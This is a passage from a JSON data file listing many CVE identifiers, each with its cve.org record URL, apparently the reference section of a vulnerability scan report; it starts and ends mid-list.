          "name": "CVE-2026-104851",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-104851"
        },
        {
          "name": "CVE-2026-44687",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-44687"
        },
        {
          "name": "CVE-2026-81723",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-81723"
        },
        {
          "name": "CVE-2026-78660",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78660"
        },
        {
          "name": "CVE-2026-18374",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-18374"
        },
        {
          "name": "CVE-2026-80489",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-80489"
        },
        {
          "name": "CVE-2026-75806",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-75806"
        },
        {
          "name": "CVE-2026-77696",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77696"
        },
        {
          "name": "CVE-2026-19667",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19667"
        },
        {
          "name": "CVE-2026-42766",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42766"
        },
        {
          "name": "CVE-2026-96636",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96636"
        },
        {
          "name": "CVE-2025-8556",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-8556"
        },
        {
          "name": "CVE-2026-12481",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12481"
        },
        {
          "name": "CVE-2026-112392",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112392"
        },
        {
          "name": "CVE-2026-13346",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-13346"
        },
        {
          "name": "CVE-2026-59848",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59848"
        },
        {
          "name": "CVE-2026-44740",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-44740"
        },
        {
          "name": "CVE-2026-53783",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53783"
        },
        {
          "name": "CVE-2026-47692",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-47692"
        },
        {
          "name": "CVE-2026-9076",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-9076"
        },
        {
          "name": "CVE-2026-50560",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50560"
        },
        {
          "name": "CVE-2026-73508",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-73508"
        },
        {
          "name": "CVE-2026-95521",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-95521"
        },
        {
          "name": "CVE-2025-22872",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-22872"
        },
        {
          "name": "CVE-2026-12482",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12482"
        },
        {
          "name": "CVE-2026-15310",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15310"
        },
        {
          "name": "CVE-2025-8277",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-8277"
        },
        {
          "name": "CVE-2025-8941",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-8941"
        },
        {
          "name": "CVE-2026-87863",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-87863"
        },
        {
          "name": "CVE-2026-42508",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42508"
        },
        {
          "name": "CVE-2026-84445",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-84445"
        },
        {
          "name": "CVE-2021-3572",
          "url": "https://www.cve.org/CVERecord?id=CVE-2021-3572"
        },
        {
          "name": "CVE-2025-66866",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-66866"
        },
        {
          "name": "CVE-2026-13608",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-13608"
        },
        {
          "name": "CVE-2026-107161",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-107161"
        },
        {
          "name": "CVE-2026-90830",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-90830"
        },
        {
          "name": "CVE-2026-77791",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77791"
        },
        {
          "name": "CVE-2026-114583",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-114583"
        },
        {
          "name": "CVE-2026-63209",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63209"
        },
        {
          "name": "CVE-2026-32286",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32286"
        },
        {
          "name": "CVE-2025-32386",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-32386"
        },
        {
          "name": "CVE-2026-6479",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6479"
        },
        {
          "name": "CVE-2026-43894",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-43894"
        },
        {
          "name": "CVE-2025-11840",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-11840"
        },
        {
          "name": "CVE-2026-93578",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93578"
        },
        {
          "name": "CVE-2024-52005",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-52005"
        },
        {
          "name": "CVE-2026-39984",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39984"
        },
        {
          "name": "CVE-2026-42496",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42496"
        },
        {
          "name": "CVE-2023-54404",
          "url": "https://www.cve.org/CVERecord?id=CVE-2023-54404"
        },
        {
          "name": "CVE-2026-59999",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59999"
        },
        {
          "name": "CVE-2026-40468",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-40468"
        },
        {
          "name": "CVE-2026-1965",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-1965"
        },
        {
          "name": "CVE-2026-76183",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-76183"
        },
        {
          "name": "CVE-2026-40467",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-40467"
        },
        {
          "name": "CVE-2026-112944",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112944"
        },
        {
          "name": "CVE-2026-54514",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54514"
        },
        {
          "name": "CVE-2026-46718",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-46718"
        },
        {
          "name": "CVE-2026-34181",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34181"
        },
        {
          "name": "CVE-2026-106450",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-106450"
        },
        {
          "name": "CVE-2026-35189",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-35189"
        },
        {
          "name": "CVE-2026-47207",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-47207"
        },
        {
          "name": "CVE-2026-97687",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-97687"
        },
        {
          "name": "CVE-2026-32327",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32327"
        },
        {
          "name": "CVE-2025-0913",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-0913"
        },
        {
          "name": "CVE-2024-26147",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-26147"
        },
        {
          "name": "CVE-2026-81870",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-81870"
        },
        {
          "name": "CVE-2026-93568",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93568"
        },
        {
          "name": "CVE-2026-55276",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55276"
        },
        {
          "name": "CVE-2026-25990",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-25990"
        },
        {
          "name": "CVE-2026-58013",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-58013"
        },
        {
          "name": "CVE-2020-25694",
          "url": "https://www.cve.org/CVERecord?id=CVE-2020-25694"
        },
        {
          "name": "CVE-2026-32288",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32288"
        },
        {
          "name": "CVE-2026-56416",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56416"
        },
        {
          "name": "CVE-2026-41568",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41568"
        },
        {
          "name": "CVE-2026-95210",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-95210"
        },
        {
          "name": "CVE-2026-12345",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12345"
        },
        {
          "name": "CVE-2026-97030",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-97030"
        },
        {
          "name": "CVE-2025-46835",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-46835"
        },
        {
          "name": "CVE-2026-96233",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96233"
        },
        {
          "name": "CVE-2025-47907",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-47907"
        },
        {
          "name": "CVE-2025-1181",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1181"
        },
        {
          "name": "CVE-2026-107928",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-107928"
        },
        {
          "name": "CVE-2026-42497",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42497"
        },
        {
          "name": "CVE-2022-41409",
          "url": "https://www.cve.org/CVERecord?id=CVE-2022-41409"
        },
        {
          "name": "CVE-2026-66007",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-66007"
        },
        {
          "name": "CVE-2025-12084",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-12084"
        },
        {
          "name": "CVE-2026-47892",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-47892"
        },
        {
          "name": "CVE-2026-59921",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59921"
        },
        {
          "name": "CVE-2026-71514",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-71514"
        },
        {
          "name": "CVE-2026-0897",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0897"
        },
        {
          "name": "CVE-2026-91779",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-91779"
        },
        {
          "name": "CVE-2026-42770",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42770"
        },
        {
          "name": "CVE-2025-5197",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-5197"
        },
        {
          "name": "CVE-2026-26309",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-26309"
        },
        {
          "name": "CVE-2026-54058",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54058"
        },
        {
          "name": "CVE-2024-47611",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-47611"
        },
        {
          "name": "CVE-2026-89156",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-89156"
        },
        {
          "name": "CVE-2026-78682",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78682"
        },
        {
          "name": "CVE-2025-45582",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-45582"
        },
        {
          "name": "CVE-2026-91776",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-91776"
        },
        {
          "name": "CVE-2025-46569",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-46569"
        },
        {
          "name": "CVE-2026-27138",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-27138"
        },
        {
          "name": "CVE-2025-11468",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-11468"
        },
        {
          "name": "CVE-2026-86414",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86414"
        },
        {
          "name": "CVE-2026-82208",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-82208"
        },
        {
          "name": "CVE-2026-40355",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-40355"
        },
        {
          "name": "CVE-2026-12479",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12479"
        },
        {
          "name": "CVE-2026-8926",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-8926"
        },
        {
          "name": "CVE-2026-95837",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-95837"
        },
        {
          "name": "CVE-2026-93491",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93491"
        },
        {
          "name": "CVE-2026-32284",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32284"
        },
        {
          "name": "CVE-2026-96778",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96778"
        },
        {
          "name": "CVE-2023-45288",
          "url": "https://www.cve.org/CVERecord?id=CVE-2023-45288"
        },
        {
          "name": "CVE-2026-46675",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-46675"
        },
        {
          "name": "CVE-2026-45673",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45673"
        },
        {
          "name": "CVE-2026-73282",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-73282"
        },
        {
          "name": "CVE-2026-3446",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-3446"
        },
        {
          "name": "CVE-2026-32875",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32875"
        },
        {
          "name": "CVE-2026-106452",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-106452"
        },
        {
          "name": "CVE-2026-39822",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39822"
        },
        {
          "name": "CVE-2026-111748",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-111748"
        },
        {
          "name": "CVE-2026-112910",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112910"
        },
        {
          "name": "CVE-2026-39833",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39833"
        },
        {
          "name": "CVE-2026-112398",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112398"
        },
        {
          "name": "CVE-2025-2149",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-2149"
        },
        {
          "name": "CVE-2025-69419",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-69419"
        },
        {
          "name": "CVE-2025-6052",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-6052"
        },
        {
          "name": "CVE-2026-3783",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-3783"
        },
        {
          "name": "CVE-2026-66822",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-66822"
        },
        {
          "name": "CVE-2026-13221",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-13221"
        },
        {
          "name": "CVE-2026-34502",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34502"
        },
        {
          "name": "CVE-2026-33814",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33814"
        },
        {
          "name": "CVE-2026-23831",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-23831"
        },
        {
          "name": "CVE-2026-27456",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-27456"
        },
        {
          "name": "CVE-2026-96225",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96225"
        },
        {
          "name": "CVE-2026-22701",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-22701"
        },
        {
          "name": "CVE-2026-33748",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33748"
        },
        {
          "name": "CVE-2026-63074",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63074"
        },
        {
          "name": "CVE-2026-88815",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-88815"
        },
        {
          "name": "CVE-2026-111943",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-111943"
        },
        {
          "name": "CVE-2026-68569",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-68569"
        },
        {
          "name": "CVE-2025-2953",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-2953"
        },
        {
          "name": "CVE-2026-8458",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-8458"
        },
        {
          "name": "CVE-2026-59084",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59084"
        },
        {
          "name": "CVE-2026-14586",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14586"
        },
        {
          "name": "CVE-2026-93493",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93493"
        },
        {
          "name": "CVE-2025-58185",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-58185"
        },
        {
          "name": "CVE-2026-65183",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65183"
        },
        {
          "name": "CVE-2026-85501",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-85501"
        },
        {
          "name": "CVE-2025-3933",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-3933"
        },
        {
          "name": "CVE-2025-49794",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-49794"
        },
        {
          "name": "CVE-2024-57970",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-57970"
        },
        {
          "name": "CVE-2026-77421",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77421"
        },
        {
          "name": "CVE-2026-6429",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6429"
        },
        {
          "name": "CVE-2026-5419",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-5419"
        },
        {
          "name": "CVE-2025-61731",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-61731"
        },
        {
          "name": "CVE-2026-4426",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4426"
        },
        {
          "name": "CVE-2026-77756",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77756"
        },
        {
          "name": "CVE-2026-45536",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45536"
        },
        {
          "name": "CVE-2025-3000",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-3000"
        },
        {
          "name": "CVE-2026-14739",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14739"
        },
        {
          "name": "CVE-2023-36632",
          "url": "https://www.cve.org/CVERecord?id=CVE-2023-36632"
        },
        {
          "name": "CVE-2026-112061",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112061"
        },
        {
          "name": "CVE-2026-93573",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93573"
        },
        {
          "name": "CVE-2026-58015",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-58015"
        },
        {
          "name": "CVE-2026-39824",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39824"
        },
        {
          "name": "CVE-2026-56131",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56131"
        },
        {
          "name": "CVE-2026-88041",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-88041"
        },
        {
          "name": "CVE-2025-66863",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-66863"
        },
        {
          "name": "CVE-2026-96405",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96405"
        },
        {
          "name": "CVE-2026-96644",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96644"
        },
        {
          "name": "CVE-2026-27137",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-27137"
        },
        {
          "name": "CVE-2026-27143",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-27143"
        },
        {
          "name": "CVE-2024-56171",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-56171"
        },
        {
          "name": "CVE-2026-12484",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12484"
        },
        {
          "name": "CVE-2026-85363",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-85363"
        },
        {
          "name": "CVE-2026-8674",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-8674"
        },
        {
          "name": "CVE-2026-54911",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54911"
        },
        {
          "name": "CVE-2026-85732",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-85732"
        },
        {
          "name": "CVE-2026-46600",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-46600"
        },
        {
          "name": "CVE-2026-96637",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96637"
        },
        {
          "name": "CVE-2026-112896",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112896"
        },
        {
          "name": "CVE-2026-45445",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45445"
        },
        {
          "name": "CVE-2026-29111",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-29111"
        },
        {
          "name": "CVE-2026-112900",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112900"
        },
        {
          "name": "CVE-2026-68525",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-68525"
        },
        {
          "name": "CVE-2025-13837",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-13837"
        },
        {
          "name": "CVE-2026-70453",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70453"
        },
        {
          "name": "CVE-2026-59901",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59901"
        },
        {
          "name": "CVE-2026-47262",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-47262"
        },
        {
          "name": "CVE-2026-18508",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-18508"
        },
        {
          "name": "CVE-2026-18040",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-18040"
        },
        {
          "name": "CVE-2026-33747",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33747"
        },
        {
          "name": "CVE-2025-71408",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-71408"
        },
        {
          "name": "CVE-2025-15649",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-15649"
        },
        {
          "name": "CVE-2026-3731",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-3731"
        },
        {
          "name": "CVE-2026-84233",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-84233"
        },
        {
          "name": "CVE-2026-39832",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39832"
        },
        {
          "name": "CVE-2026-118370",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-118370"
        },
        {
          "name": "CVE-2026-35469",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-35469"
        },
        {
          "name": "CVE-2026-112902",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112902"
        },
        {
          "name": "CVE-2026-73500",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-73500"
        },
        {
          "name": "CVE-2026-9698",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-9698"
        },
        {
          "name": "CVE-2026-19548",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19548"
        },
        {
          "name": "CVE-2026-41257",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41257"
        },
        {
          "name": "CVE-2026-81725",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-81725"
        },
        {
          "name": "CVE-2026-42015",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42015"
        },
        {
          "name": "CVE-2026-112909",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112909"
        },
        {
          "name": "CVE-2026-39829",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39829"
        },
        {
          "name": "CVE-2026-112397",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112397"
        },
        {
          "name": "CVE-2026-68498",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-68498"
        },
        {
          "name": "CVE-2025-69652",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-69652"
        },
        {
          "name": "CVE-2026-66046",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-66046"
        },
        {
          "name": "CVE-2026-53795",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53795"
        },
        {
          "name": "CVE-2026-41178",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41178"
        },
        {
          "name": "CVE-2026-112394",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112394"
        },
        {
          "name": "CVE-2024-8176",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-8176"
        },
        {
          "name": "CVE-2026-56392",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56392"
        },
        {
          "name": "CVE-2026-65637",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65637"
        },
        {
          "name": "CVE-2026-8376",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-8376"
        },
        {
          "name": "CVE-2026-50163",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50163"
        },
        {
          "name": "CVE-2025-9905",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-9905"
        },
        {
          "name": "CVE-2026-119377",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-119377"
        },
        {
          "name": "CVE-2026-86411",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86411"
        },
        {
          "name": "CVE-2025-15367",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-15367"
        },
        {
          "name": "CVE-2026-58014",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-58014"
        },
        {
          "name": "CVE-2026-54516",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54516"
        },
        {
          "name": "CVE-2026-3442",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-3442"
        },
        {
          "name": "CVE-2026-86142",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86142"
        },
        {
          "name": "CVE-2026-13595",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-13595"
        },
        {
          "name": "CVE-2026-6357",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6357"
        },
        {
          "name": "CVE-2026-103995",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-103995"
        },
        {
          "name": "CVE-2026-85999",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-85999"
        },
        {
          "name": "CVE-2026-56410",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56410"
        },
        {
          "name": "CVE-2026-71885",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-71885"
        },
        {
          "name": "CVE-2026-48044",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48044"
        },
        {
          "name": "CVE-2025-15467",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-15467"
        },
        {
          "name": "CVE-2026-90803",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-90803"
        },
        {
          "name": "CVE-2025-9820",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-9820"
        },
        {
          "name": "CVE-2026-19546",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19546"
        },
        {
          "name": "CVE-2026-2006",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-2006"
        },
        {
          "name": "CVE-2026-54515",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54515"
        },
        {
          "name": "CVE-2025-1180",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1180"
        },
        {
          "name": "CVE-2025-4373",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-4373"
        },
        {
          "name": "CVE-2026-13757",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-13757"
        },
        {
          "name": "CVE-2025-4598",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-4598"
        },
        {
          "name": "CVE-2025-27144",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-27144"
        },
        {
          "name": "CVE-2026-95519",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-95519"
        },
        {
          "name": "CVE-2026-6637",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6637"
        },
        {
          "name": "CVE-2026-74048",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-74048"
        },
        {
          "name": "CVE-2026-55798",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55798"
        },
        {
          "name": "CVE-2026-94444",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-94444"
        },
        {
          "name": "CVE-2026-73283",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-73283"
        },
        {
          "name": "CVE-2026-55717",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55717"
        },
        {
          "name": "CVE-2026-19953",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19953"
        },
        {
          "name": "CVE-2026-108106",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-108106"
        },
        {
          "name": "CVE-2026-26330",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-26330"
        },
        {
          "name": "CVE-2026-15308",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15308"
        },
        {
          "name": "CVE-2026-27145",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-27145"
        },
        {
          "name": "CVE-2024-35255",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-35255"
        },
        {
          "name": "CVE-2024-24557",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-24557"
        },
        {
          "name": "CVE-2026-41080",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41080"
        },
        {
          "name": "CVE-2026-112400",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112400"
        },
        {
          "name": "CVE-2026-14668",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14668"
        },
        {
          "name": "CVE-2026-68497",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-68497"
        },
        {
          "name": "CVE-2025-55198",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-55198"
        },
        {
          "name": "CVE-2021-46195",
          "url": "https://www.cve.org/CVERecord?id=CVE-2021-46195"
        },
        {
          "name": "CVE-2026-84243",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-84243"
        },
        {
          "name": "CVE-2025-21613",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-21613"
        },
        {
          "name": "CVE-2023-29491",
          "url": "https://www.cve.org/CVERecord?id=CVE-2023-29491"
        },
        {
          "name": "CVE-2026-101356",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-101356"
        },
        {
          "name": "CVE-2026-32778",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32778"
        },
        {
          "name": "CVE-2026-5121",
